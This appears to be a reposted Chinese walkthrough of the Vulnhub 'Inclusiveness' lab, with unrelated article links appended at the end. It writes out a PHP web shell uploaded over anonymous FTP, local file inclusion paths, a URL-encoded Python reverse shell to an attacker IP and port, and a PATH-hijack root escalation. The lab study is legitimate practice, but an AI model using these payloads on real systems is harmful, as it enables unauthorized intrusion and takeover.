【甄选靶场】Vulnhub百个项目渗透——项目五十三:Inclusiveness(更改ua,lfi->rce)

news/2023/6/7 23:18:28

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目五十三:Inclusiveness(更改ua,lfi->rce)


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年1月18日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

巅峰之路

  • Vulnhub百个项目渗透
  • 前言
    • 信息收集
    • 21
    • 80
        • curl
        • 浏览器插件
    • 提权


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


信息收集

首先,判断一下网段内存活主机
找到了.145的机器
在这里插入图片描述
然后对该主机进行初始扫描

nmap -p- --min-rate 10000 -A 192.168.247.145    21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Feb 08  2020 pub 
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 
80/tcp open  http    Apache httpd 2.4.38 ((Debian))|_http-server-header: Apache/2.4.38 (Debian)

发现了主要有三个服务,一个ftp允许匿名登陆,一个ssh,还有一个web
我将先从ftp开始,看能不能获得一些敏感信息

21

结果是啥也没有
但是功能正常,考虑与web联动达成反弹shell或者其他的一些什么
在这里插入图片描述

80

wen页面初始是一个apache的默认页面
进行目录爆破
我这里使用线程过大导致靶场崩了,大家用10就好

gobuster dir -u http://192.168.247.145/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 100

扫到了/robots-txt的目录,点进去
在这里插入图片描述他说我不是一个搜索引擎,而网站判断搜索引擎的方式一般是通过ua头,所以我将用bp抓包更改ua或者直接利用浏览器插件或者curl,方法很多,介绍两种

curl

第一种是下面的这种,注意,如果啥都没有建议重启或者回复虚拟机快照

curl -s --user-agent Googlebot http://192.168.247.145/robots.txt

浏览器插件

插件名字是这个
谷歌火狐都能装
在这里插入图片描述然后上面的不变,只需要更改ua部分即可
改成google bot

在这里插入图片描述
然后就ok了,得到了一个新的目录

在这里插入图片描述
访问吧,点击一个语言,发现可能存在lfi,进行尝试

在这里插入图片描述
确实存在lfi

在这里插入图片描述
这说明了lfi的可行性
在面对lfi时我们有多种选择来将它转换为rce,其中最为重要的方法是借助日志毒化,有的借助ssh日志,apache日志等等

我们借助现有的ftp进行突破,因为我随便试了几个默认的apache目录都不成功,vsftp默认目录一般更改的几率会小一点

所以我会把如下的一句话写进1.php并且通过ftp上传到pub子目录下

<?php system($_GET['shell']);?>

在这里插入图片描述
利用lfi查看如下的日志

/etc/vsftpd.conf

发现路径暴露
在这里插入图片描述我们访问,并且利用一句话

http://192.168.247.145/secret_information/?lang=../../../../../../../var/ftp/1.php&shell=uname%20-a

可以看到,失败了,这是因为我们上传的时候还进入了一个pub子文件夹
在这里插入图片描述
如下即可

http://192.168.247.145/secret_information/?lang=../../../../../../../var/ftp/pub/1.php&shell=uname%20-a

在这里插入图片描述接下俩我们就直接执行命令即可

http://192.168.247.145/secret_information/?lang=../../../../../../../var/ftp/pub/1.php&shell=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.247.130%22,4545));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27

在这里插入图片描述

提权

我们首先要仔细的查看www目录下几乎所有东西,最终得出这里没有有价值的东西的结论
在这里插入图片描述
在/home/tom下,我发现了一个有意思的东西
在这里插入图片描述并且root权限,源码也暴露出来了

在这里插入图片描述发现他会打开一个whoami文件,然后会比较用户名,如果是tom就会进行一个操作,应该就可以提权了,所以我再次看源码如何得到用户名,看到似乎是要输入一个,根据我有限的编程知识,我认为我需要利用bash脚本写一个输出tom的命令在whoami中,我们现测试一下
在测试之前,因为当前目录我们不可写,所以我们去到tmp下创建而后更改临时环境变量

cd /tmp
echo "printf "sb"" > whoami
chmod +x whoami
export PATH=/tmp:$PATH
echo $PATH
cd /home/tom
./rootshell

在这里插入图片描述确实,只不过我在欣喜中还带着一点悲愤
那就开始正式的操作
如下

cd /tmp
echo "printf "tom"" > whoami
chmod +x whoami
export PATH=/tmp:$PATH
echo $PATH
cd /home/tom
./rootshell

在这里插入图片描述ok
在这里插入图片描述关机,睡觉

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-4561113.html

如若内容造成侵权/违法违规/事实不符,请联系郑州代理记账网进行投诉反馈,一经查实,立即删除!

相关文章

(转).Net 分布式系统架构

一、设计目的 基于window平台搭建的大型分布式系统不多&#xff0c;之前了解过myspace、stackoverflow等大型网站。搭建一个大型平台需要综合考虑很多方面&#xff0c;不单纯是软件架构&#xff0c;还包括网络和硬件设备等。由于现代大部分应用建设都面临用户多、高并发、高可用…

ASP.NET Core中使用GraphQL - 第七章 Mutation

ASP.NET Core中使用GraphQL - 目录 ASP.NET Core中使用GraphQL - 第一章 Hello WorldASP.NET Core中使用GraphQL - 第二章 中间件ASP.NET Core中使用GraphQL - 第三章 依赖注入ASP.NET Core中使用GraphQL - 第四章 GrahpiQLASP.NET Core中使用GraphQL - 第五章 字段, 参数, 变…

springcloud 入门及搭建一个项目环境

&#xff08;1&#xff09;搭建SpringBootService&#xff0c;这里是各个微服务的业务逻辑。&#xff08;这里搭建了2个Service&#xff0c;用来测试熔断&#xff09; &#xff08;2&#xff09;搭建SpringBootEureka&#xff0c;用来发现服务。 &#xff08;3&#xff09;搭…

搭建SpringCloud项目,并实现自动化部署

前一阵子一直在忙着做项目&#xff0c;最近有空&#xff0c;把项目中用到的SpringBoot微服务相关架构再梳理一遍。 项目资源&#xff1a;https://github.com/sunroyi/SpringCloud 主要分为以下几步&#xff1a; &#xff08;1&#xff09;搭建SpringBootService&#xff0c;…

前端面试题之React篇

前端面试题之React篇一、组件基础1. React 事件机制2. React的事件和普通的HTML事件有什么不同&#xff1f;3. React 组件中怎么做事件代理&#xff1f;它的原理是什么&#xff1f;4. React 高阶组件、Render props、hooks 有什么区别&#xff0c;为什么要不断迭代5. 对React-F…

ng-alain通过修改样式实现菜单布局切换

这种样式修改的方式限制太多&#xff0c;且比较麻烦&#xff0c;因此又通过对sidebar-nav进行修改&#xff0c;来实现该功能。第二版。 一、页面效果 1、默认的左右布局 2、切换后的上下布局 二、代码实现 1、布局切换服务类&#xff0c;用于通知需要改变布局的模块去改变样式…

RC TE

FIBER REACT 什么是不可变值 函数式编程是指程序里面的函数和表达式都能像数学中的函数一样&#xff0c;给定了输入值&#xff0c;输出是确定的。比如 let a 1; let b a 1; > a 1 b 2; 变量b出现&#xff0c;虽然使用了变量a的值&#xff0c;但是没有修改a的值。再看我…

基于.net Framework471搭建的WebAPI简单框架(下)

一、下载O/RM框架Nuget包 1、右键解决方案名称&#xff0c;选择“解决方案的Nuget程序包”&#xff0c;进行安装。如图&#xff1a; 二、下载PgSql的Nuget包 1、右键解决方案名称&#xff0c;选择“解决方案的Nuget程序包”&#xff0c;进行安装。如图&#xff1a; 三、下…